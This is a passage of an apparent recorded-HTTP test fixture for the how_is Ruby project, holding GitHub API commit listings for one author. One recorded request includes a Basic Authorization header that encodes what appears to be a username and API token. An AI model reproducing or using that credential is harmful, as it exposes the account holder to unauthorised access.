Q29tbWl0NTQyOTUyNDM6MjliODk5YjdkNTQwZDE2OGUxMmQ2MjFkNGNiNmY0MTY4MWVkM2ZjNA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-09-30T20:40:38Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-09-30T20:40:38Z"},"message":"Merge pull request #55 from how-is/specify-period-for-reports\n\nSpecify time period for reports.","tree":{"sha":"c371e35cb7175556e3a552e0aa95af90593d6bec","url":"https://api.github.com/repos/how-is/how_is/git/trees/c371e35cb7175556e3a552e0aa95af90593d6bec"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/29b899b7d540d168e12d621d4cb6f41681ed3fc4","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/29b899b7d540d168e12d621d4cb6f41681ed3fc4","html_url":"https://github.com/how-is/how_is/commit/29b899b7d540d168e12d621d4cb6f41681ed3fc4","comments_url":"https://api.github.com/repos/how-is/how_is/commits/29b899b7d540d168e12d621d4cb6f41681ed3fc4/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"9dd494214a7136c48d29de6fcdbfa673a553674e","url":"https://api.github.com/repos/how-is/how_is/commits/9dd494214a7136c48d29de6fcdbfa673a553674e","html_url":"https://github.com/how-is/how_is/commit/9dd494214a7136c48d29de6fcdbfa673a553674e"},{"sha":"cc635c9c803ce7e7f4c15881d1233938377b3a8d","url":"https://api.github.com/repos/how-is/how_is/commits/cc635c9c803ce7e7f4c15881d1233938377b3a8d","html_url":"https://github.com/how-is/how_is/commit/cc635c9c803ce7e7f4c15881d1233938377b3a8d"}]},{"sha":"cc635c9c803ce7e7f4c15881d1233938377b3a8d","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Y2M2MzVjOWM4MDNjZTdlN2Y0YzE1ODgxZDEyMzM5MzgzNzdiM2E4ZA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-09-30T20:29:23Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-09-30T20:29:23Z"},"message":"Specify time period for reports.","tree":{"sha":"c371e35cb7175556e3a552e0aa95af90593d6bec","url":"https://api.github.com/repos/how-is/how_is/git/trees/c371e35cb7175556e3a552e0aa95af90593d6bec"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/cc635c9c803ce7e7f4c15881d1233938377b3a8d","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/cc635c9c803ce7e7f4c15881d1233938377b3a8d","html_url":"https://github.com/how-is/how_is/commit/cc635c9c803ce7e7f4c15881d1233938377b3a8d","comments_url":"https://api.github.com/repos/how-is/how_is/commits/cc635c9c803ce7e7f4c15881d1233938377b3a8d/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"9dd494214a7136c48d29de6fcdbfa673a553674e","url":"https://api.github.com/repos/how-is/how_is/commits/9dd494214a7136c48d29de6fcdbfa673a553674e","html_url":"https://github.com/how-is/how_is/commit/9dd494214a7136c48d29de6fcdbfa673a553674e"}]}]' http_version: recorded_at: Fri, 26 Apr 2019 20:32:47 GMT - request: method: get uri: https://api.github.com/repositories/54295243/commits?author=me@duckie.co&page=10&per_page=30&until=2017-07-01 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:47 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3335' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"460aa06191b30c35605878024448d480" Last-Modified: - Fri, 30 Sep 2016 01:32:08 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Link: - ; rel="next", ; rel="last", ; rel="first", ; rel="prev" Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 65BF:5DE3:28CFA7:51FBCC:5CC36AEF body: encoding: ASCII-8BIT string: '[{"sha":"9dd494214a7136c48d29de6fcdbfa673a553674e","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OWRkNDk0MjE0YTcxMzZjNDhkMjlkZTZmY2RiZmE2NzNhNTUzNjc0ZQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-09-30T01:32:08Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-09-30T01:32:08Z"},"message":"Merge pull request #54 from how-is/remove-pdf-support\n\nSO LONG, PDF REPORTS. YOU WILL NOT BE MISSED.","tree":{"sha":"45d1b34a16060b99d1c4d30ec66c3c7042325094","url":"https://api.github.com/repos/how-is/how_is/git/trees/45d1b34a16060b99d1c4d30ec66c3c7042325094"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/9dd494214a7136c48d29de6fcdbfa673a553674e","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/9dd494214a7136c48d29de6fcdbfa673a553674e","html_url":"https://github.com/how-is/how_is/commit/9dd494214a7136c48d29de6fcdbfa673a553674e","comments_url":"https://api.github.com/repos/how-is/how_is/commits/9dd494214a7136c48d29de6fcdbfa673a553674e/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"c75b3e11dfb99a5d20fb8282664c22f2c0f1eb7f","url":"https://api.github.com/repos/how-is/how_is/commits/c75b3e11dfb99a5d20fb8282664c22f2c0f1eb7f","html_url":"https://github.com/how-is/how_is/commit/c75b3e11dfb99a5d20fb8282664c22f2c0f1eb7f"},{"sha":"e606f32ae0c144eee3b3d4f33644c798ec9af687","url":"https://api.github.com/repos/how-is/how_is/commits/e606f32ae0c144eee3b3d4f33644c798ec9af687","html_url":"https://github.com/how-is/how_is/commit/e606f32ae0c144eee3b3d4f33644c798ec9af687"}]},{"sha":"e606f32ae0c144eee3b3d4f33644c798ec9af687","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZTYwNmYzMmFlMGMxNDRlZWUzYjNkNGYzMzY0NGM3OThlYzlhZjY4Nw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-09-30T01:29:06Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-09-30T01:29:06Z"},"message":"Remove extra comma.","tree":{"sha":"45d1b34a16060b99d1c4d30ec66c3c7042325094","url":"https://api.github.com/repos/how-is/how_is/git/trees/45d1b34a16060b99d1c4d30ec66c3c7042325094"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/e606f32ae0c144eee3b3d4f33644c798ec9af687","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/e606f32ae0c144eee3b3d4f33644c798ec9af687","html_url":"https://github.com/how-is/how_is/commit/e606f32ae0c144eee3b3d4f33644c798ec9af687","comments_url":"https://api.github.com/repos/how-is/how_is/commits/e606f32ae0c144eee3b3d4f33644c798ec9af687/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"3ba540ec67a621a8639496463ab3f29417b3fee0","url":"https://api.github.com/repos/how-is/how_is/commits/3ba540ec67a621a8639496463ab3f29417b3fee0","html_url":"https://github.com/how-is/how_is/commit/3ba540ec67a621a8639496463ab3f29417b3fee0"}]},{"sha":"3ba540ec67a621a8639496463ab3f29417b3fee0","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6M2JhNTQwZWM2N2E2MjFhODYzOTQ5NjQ2M2FiM2YyOTQxN2IzZmVlMA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-09-30T01:27:46Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-09-30T01:27:46Z"},"message":"SO LONG, PDF REPORTS. YOU WILL NOT BE MISSED.","tree":{"sha":"a8078de0bce448e2588dee356a173f9e281bf586","url":"https://api.github.com/repos/how-is/how_is/git/trees/a8078de0bce448e2588dee356a173f9e281bf586"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/3ba540ec67a621a8639496463ab3f29417b3fee0","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/3ba540ec67a621a8639496463ab3f29417b3fee0","html_url":"https://github.com/how-is/how_is/commit/3ba540ec67a621a8639496463ab3f29417b3fee0","comments_url":"https://api.github.com/repos/how-is/how_is/commits/3ba540ec67a621a8639496463ab3f29417b3fee0/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"c75b3e11dfb99a5d20fb8282664c22f2c0f1eb7f","url":"https://api.github.com/repos/how-is/how_is/commits/c75b3e11dfb99a5d20fb8282664c22f2c0f1eb7f","html_url":"https://github.com/how-is/how_is/commit/c75b3e11dfb99a5d20fb8282664c22f2c0f1eb7f"}]},{"sha":"c75b3e11dfb99a5d20fb8282664c22f2c0f1eb7f","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Yzc1YjNlMTFkZmI5OWE1ZDIwZmI4MjgyNjY0YzIyZjJjMGYxZWI3Zg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-09-29T00:47:18Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-09-29T00:47:18Z"},"message":"Merge pull request #53 from how-is/document-api\n\nDocument Ruby API.","tree":{"sha":"ec1d8f0c758be8c5bb30405d2903404bce8f2ecf","url":"https://api.github.com/repos/how-is/how_is/git/trees/ec1d8f0c758be8c5bb30405d2903404bce8f2ecf"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/c75b3e11dfb99a5d20fb8282664c22f2c0f1eb7f","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/c75b3e11dfb99a5d20fb8282664c22f2c0f1eb7f","html_url":"https://github.com/how-is/how_is/commit/c75b3e11dfb99a5d20fb8282664c22f2c0f1eb7f","comments_url":"https://api.github.com/repos/how-is/how_is/commits/c75b3e11dfb99a5d20fb8282664c22f2c0f1eb7f/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"9649fbbf5ad0d46d86927e1dd02317b55e46b35d","url":"https://api.github.com/repos/how-is/how_is/commits/9649fbbf5ad0d46d86927e1dd02317b55e46b35d","html_url":"https://github.com/how-is/how_is/commit/9649fbbf5ad0d46d86927e1dd02317b55e46b35d"},{"sha":"704b60b586018fd29bd15b0bb171a7e4d70ab1d9","url":"https://api.github.com/repos/how-is/how_is/commits/704b60b586018fd29bd15b0bb171a7e4d70ab1d9","html_url":"https://github.com/how-is/how_is/commit/704b60b586018fd29bd15b0bb171a7e4d70ab1d9"}]},{"sha":"704b60b586018fd29bd15b0bb171a7e4d70ab1d9","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NzA0YjYwYjU4NjAxOGZkMjliZDE1YjBiYjE3MWE3ZTRkNzBhYjFkOQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-09-29T00:43:15Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-09-29T00:45:54Z"},"message":"Document Ruby API.","tree":{"sha":"ec1d8f0c758be8c5bb30405d2903404bce8f2ecf","url":"https://api.github.com/repos/how-is/how_is/git/trees/ec1d8f0c758be8c5bb30405d2903404bce8f2ecf"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/704b60b586018fd29bd15b0bb171a7e4d70ab1d9","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/704b60b586018fd29bd15b0bb171a7e4d70ab1d9","html_url":"https://github.com/how-is/how_is/commit/704b60b586018fd29bd15b0bb171a7e4d70ab1d9","comments_url":"https://api.github.com/repos/how-is/how_is/commits/704b60b586018fd29bd15b0bb171a7e4d70ab1d9/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"9649fbbf5ad0d46d86927e1dd02317b55e46b35d","url":"https://api.github.com/repos/how-is/how_is/commits/9649fbbf5ad0d46d86927e1dd02317b55e46b35d","html_url":"https://github.com/how-is/how_is/commit/9649fbbf5ad0d46d86927e1dd02317b55e46b35d"}]},{"sha":"9649fbbf5ad0d46d86927e1dd02317b55e46b35d","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OTY0OWZiYmY1YWQwZDQ2ZDg2OTI3ZTFkZDAyMzE3YjU1ZTQ2YjM1ZA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-09-03T23:05:54Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-09-03T23:05:54Z"},"message":"--report-file != --report","tree":{"sha":"51483336fb7fbd5e8517d64cdddb1471491bca3b","url":"https://api.github.com/repos/how-is/how_is/git/trees/51483336fb7fbd5e8517d64cdddb1471491bca3b"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/9649fbbf5ad0d46d86927e1dd02317b55e46b35d","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/9649fbbf5ad0d46d86927e1dd02317b55e46b35d","html_url":"https://github.com/how-is/how_is/commit/9649fbbf5ad0d46d86927e1dd02317b55e46b35d","comments_url":"https://api.github.com/repos/how-is/how_is/commits/9649fbbf5ad0d46d86927e1dd02317b55e46b35d/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"f602db209d1fde18a88a176d9373fcc29b3b4f76","url":"https://api.github.com/repos/how-is/how_is/commits/f602db209d1fde18a88a176d9373fcc29b3b4f76","html_url":"https://github.com/how-is/how_is/commit/f602db209d1fde18a88a176d9373fcc29b3b4f76"}]},{"sha":"f602db209d1fde18a88a176d9373fcc29b3b4f76","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZjYwMmRiMjA5ZDFmZGUxOGE4OGExNzZkOTM3M2ZjYzI5YjNiNGY3Ng==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-09-02T02:28:02Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-09-02T02:28:02Z"},"message":"Merge pull request #47 from how-is/roadmap-2\n\nUpdate roadmap.markdown","tree":{"sha":"77ffa0e53afa89540b3608f4b49ea1dfea923745","url":"https://api.github.com/repos/how-is/how_is/git/trees/77ffa0e53afa89540b3608f4b49ea1dfea923745"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/f602db209d1fde18a88a176d9373fcc29b3b4f76","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/f602db209d1fde18a88a176d9373fcc29b3b4f76","html_url":"https://github.com/how-is/how_is/commit/f602db209d1fde18a88a176d9373fcc29b3b4f76","comments_url":"https://api.github.com/repos/how-is/how_is/commits/f602db209d1fde18a88a176d9373fcc29b3b4f76/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"42b37066eb130c46c6ea5f3e603a54887315a29a","url":"https://api.github.com/repos/how-is/how_is/commits/42b37066eb130c46c6ea5f3e603a54887315a29a","html_url":"https://github.com/how-is/how_is/commit/42b37066eb130c46c6ea5f3e603a54887315a29a"},{"sha":"d927835a43df495da52bdb181889dd1d5c7a7b85","url":"https://api.github.c